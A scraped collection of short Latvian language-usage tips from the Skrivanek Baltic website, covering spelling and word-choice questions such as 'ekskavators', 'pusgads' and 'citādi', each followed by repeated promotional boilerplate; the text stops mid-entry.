Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-05-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/10gadigs-pret-desmitgadigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional 10GADĪGS PRET DESMITGADĪGS 1 Vai bērns ir 10gadīgs, 10-gadīgs vai desmitgadīgs? Veidojot salikteņus, kur pirmajā daļā nosaukts skaits, abas salikteņa daļas rakstāmas ar burtiem, nevis cipariem. Tādu, kam ir desmit gadu, dēvēsim par desmitgadīgu, tāds, kas ir desmit reižu lielāks par kaut ko, saucams par desmitkārtīgu, nevis 10kārtīgu. Tātad desmit gadus vecs bērns ir desmitgadīgs bērns, desmit gadus sens automobilis ir desmitgadīgs automobilis. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai apdrošinātājs izmaksā atlīdzību par nogrimušo eskavatoru vai ekskavatoru? Klikšķini un uzzini pareizo atbildi! - Published: 2018-05-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/eskavators-pret-ekskavators/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ESKAVATORS PRET EKSKAVATORS 1 Vai apdrošinātājs izmaksā atlīdzību par nogrimušo eskavatoru vai ekskavatoru? Vārds „ekskavators” latviešu valodā ienācis no angļu valodas vārda „excavator”, kuram pamatā ir latīņu vārds „excavare” ar nozīmi ‘izdobt’. Tā kā latviešu valodas vārdos līdzskaņu rinda „ksk” nav ierasta, nereti šo vārdu gan rakstām, gan izrunājam aplami, droši vien arī jaucot ar citiem svešvārdiem, piemēram, „eskadriļa”, „eskalators”. Tātad purvā nogrimušā ekskavatora vietā saimnieks varēs sev iegādāties jaunu ekskavatoru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā nosauksim sešus mēnešus ilgu laika posmu? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-16 - Modified: 2024-10-22 - URL: https://skrivanek.lv/satiksimies-pec-pus-gada-pret-satiksimies-pec-pusgada/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SATIKSIMIES PĒC PUS GADA PRET SATIKSIMIES PĒC PUSGADA 1 Kā nosauksim sešus mēnešus ilgu laika posmu? Laikposmu, kas ilgst sešus mēnešus jeb pusi gada, vienā vārdā dēvē par pusgadu. Līdzīgi kā 30 minūšu ilgu laika posmu saucam par pusstundu, 30 sekunžu ilgu – par pusminūti. Tātad, ja rakstām nevis vārdu „puse”, bet vārdu „pus”, tas rakstāms kopā: satiksimies pēc pusgada, tiekamies pēc pusstundas utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai kleita ir saburzīta vai saburznīta? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/saburzits-pret-saburznits/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SABURZĪTS PRET SABURZNĪTS 1 Vai kleita ir saburzīta vai saburznīta? Darbības vārds „saburzīt” nozīmē ‘burzot padarīt kaut ko negludu’. Biežāk to dzirdam divdabja formā: saburzīts papīrs, saburzīta žakete. Vārds „saburznīt” ir Vainižu izloksnes apvidvārds, kas dzirdams Limbažu novadā. Savukārt literārajā valodā teiksim „saburzīt”. Tātad kleita ir saburzīta, varam saburzīt arī galdautus, saburzīt papīrus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kādu vērtējam augsti vai augstu? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-11 - Modified: 2024-08-20 - URL: https://skrivanek.lv/augsti-vertet-pret-augstu-vertet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AUGSTI VĒRTĒT PRET AUGSTU VĒRTĒT 1 Vai kādu vērtējam augsti vai augstu? Vairākiem apstākļa vārdiem latviešu valodā ir iespējamas paralēlformas, piemēram, „runāt klusām”, „runāt klusi”, „runāt klusu” un „iet lēnām”, „iet lēni” (retāk – arī „iet lēnu”). Arī no īpašības vārda „augsts” iespējams veidot paralēlformas: „šūpoties augsti” un „šūpoties augstu”. Tātad kādu varam gan augsti vērtēt, gan augstu vērtēt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Anna ģērbjas citādi vai citādāk nekā Baiba? Lasi atbildi! Vairāki latviešu valodas padomi vienuviet. Noderīgi gan lietišķajā saziņa, gan sadzīvē! - Published: 2018-05-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/citadi-pret-citadak/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CITĀDI PRET CITĀDĀK 1 Vai Anna ģērbjas citādi vai citādāk nekā Baiba? Vārds „citādi” nozīmē ‘citādā veidā, atšķirīgi’, piemēram, „mums jārīkojas citādi nekā vakar”, „mana mamma kūku gatavoja šādi, bet es to daru citādi”. Savukārt ar piedēkli „-āk” tiek darinātas salīdzināmās pakāpes: „mums jārīkojas citādi nekā vakar, bet rīt – vēl citādāk” vai „mana mamma kūku gatavoja šādi, es to daru citādi, bet mana māsa – pavisam citādāk”. Ja gribam pateikt sinonīmu vārdam „atšķirīgi”, lietosim vārdu „citādi”, nevis „citādāk”. Tātad Anna ģērbjas citādi nekā Baiba. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Cenas ir lētas vai zemas? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-08-21 - URL: https://skrivanek.lv/leta-cena-pret-zema-cena/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LĒTA CENA PRET ZEMA CENA 1 Vai cenas ir lētas vai zemas? Vārds „cena” nozīmē ‘naudā izteikta preces vērtība’. Mēs iegādājamies preces, nevis cenu, tāpēc precei ir nevis lēta vai dārga cena, bet gan pati prece ir lēta vai dārga. Savukārt lētas preces cena ir zema, bet dārgas preces cena – augsta. Tātad cenas var būt zemas, un mēs varam nopirkt pārtiku par zemu vai augstu cenu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mums jāpaspēj redzēt kaut kas vai kaut ko? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/tas-japaspej-redzet-pret-to-japaspej-redzet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TAS JĀPASPĒJ REDZĒT PRET TO JĀPASPĒJ REDZĒT 1 Vai mums jāpaspēj redzēt kaut kas vai kaut ko? Darbības vārds vajadzības izteiksmē, tas ir, tādas formas kā „jācep”, „jālasa”, piesaista objektu nominatīvā (jautājums KAS? ): „jācep kūka”, „jālasa grāmata”. Ja darbības vārds vajadzības izteiksmē piesaista nenoteiksmi, tad objekts iespējams gan nominatīvā (jautājums KAS? ), gan akuzatīvā (jautājums KO? ): „jāiet cept kūka/kūku”, „jāsteidzas lasīt grāmata/grāmatu”. Tātad varam teikt gan „tas jāpaspēj redzēt”, gan „to jāpaspēj redzēt”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai drēgnajā rudenī mūs sildīs plīša, flīsa vai varbūt flīša jaka? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/plisa-pret-flisa-pret-flisa-jaka/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLĪŠA PRET FLĪSA PRET FLĪŠA JAKA 1 Vai drēgnajā rudenī mūs sildīs plīša, flīsa vai varbūt flīša jaka? Plīšs (vācu val. „Plüsch”, angļu val. „plush”) ir blīva, plūksnota kokvilnas drāna, kas līdzīga samtam, tikai ar garāku un retāku plūksnu. No plīša auduma šuj jakas, cepures, arī pārvelk ar to mēbeles un rotaļlietas. Angļu vārds „fleece” nozīmē ‘aitas vilna’, savukārt tekstilrūpniecībā ar to saprot uzkārsumu – irdenu, pūkainu, mīkstu no dzijām izvilktu šķiedru galu virsslāni, kas izveidots uz auduma virsmas, to apstrādājot. Šis slānis ir ļoti mīksts, un, visticamāk, no šīs nozīmes arī latviešu valodā radies vārds „flīss” jeb pūkdrāna – tā ir plāna, viegla, mīksti pūkaina adījumdrāna, kas gatavota no sintētiskām šķiedrām, un tai piemīt labas siltumizolācijas īpašības. No flīsa jeb pūkdrānas gatavo jakas, džemperus, pledus. Vārds „flīšs”, iespējams, radies, apvienojot vārdu „flīss” un ierasto „plīšs”. Tātad sasildīsimies gan no kokvilnas radītajā plīša, gan sintētiskajā flīsa jaciņā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mūs nomierinās baldriāna vai buldurjāņa, vai varbūt valeriāna tēja? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/baldrians-pret-buldurjanis-pret-valerians/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BALDRIĀNS PRET BULDURJĀNIS PRET VALERIĀNS 1 Vai mūs nomierinās baldriāna vai buldurjāņa, vai varbūt valeriāna tēja? Vārds „baldriāns” latviešu valodā aizgūts no vācu valodas vārda „Baldrian”, kā pamatā latīņu „valeriāna”, „valēre” ar nozīmi 'būt stipram, spēcīgam, veselam; varēt, spēt'. Krievu valodā „валериaна” aizgūts tieši no latīņu valodas, un vārds „valeriāns” latviešu valodā, visticamāk, ienācis gan krievu valodas ietekmē, gan arī no oriģinālā nosaukuma latīņu valodā. Vārds „buldurjānis” savukārt ir apvidvārds. Šim ārstniecības augam dažādās Latvijas vietās sastopami arī citi nosaukumi: baldrijānis, bolderjānis, buldriņš, dundujāņi utt. Literārajā valodā gan nosaukums ir viens: baldriāns. Tātad vakarā dzersim baldriāna tēju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi rakstāms šis apstākļa vārds? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-05-09 - Modified: 2024-11-11 - URL: https://skrivanek.lv/tadejadi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TĀDEJĀDI PRET TĀDĒJĀDI 1 Kā pareizi rakstāms šis apstākļa vārds? Bieži sastopamies ar aplamu vārda „tādējādi” pareizrakstību, proti, rakstījumu ar īso patskani „e”. Iespējams, šāds rakstījums radies, jo vārda vidū patskanis nav uzsvērts, un, skaidri nedzirdot, mēs to rakstām kā īsu patskani. Vienīgais pareizais vārda rakstības variants gan ir ar „ē”: „tādējādi”. Ievērosim pareizrakstības likumus, tādējādi izkopjot mūsu rakstītprasmi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai zinātnieki pēta vai pētī valodu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/peta-pret-peti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PĒTA PRET PĒTĪ 1 Vai zinātnieki pēta vai pētī valodu? Vārdam „pētīt” vienkāršajā tagadnē ir paralēlformas: tas tiek locīts gan kā 2. konjugācijas – „es pētīju”, „tu pētī”, „viņš pētī” –, gan 3. konjugācijas – „es pētu”, „tu pēti”, „viņš pēta” – darbības vārds. Formās „pētu” un „pēta” tikai jāievēro, ka „e” izrunājams plati. Tāpat vienā tekstā ieteicams turēties pie vienas paradigmas, proti, vienā teikumā nerakstīt „viņš pēta”, bet nākamajā – „viņš pētī”. Tātad zinātnieki pēta valodu, un zinātnieki arī pētī valodu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim šo aparātu? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-08-12 - URL: https://skrivanek.lv/magnetafons-pret-magnetofons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MAGNETAFONS PRET MAGNETOFONS 1 Kā sauksim šo aparātu? Vārds „magnetofons” latviešu valodā aizgūts no vācu vārda „Magnetophon”, kā pamatā grieķu vārddaļa „magnet” ar nozīmi ‘magnētisks’ un vārda 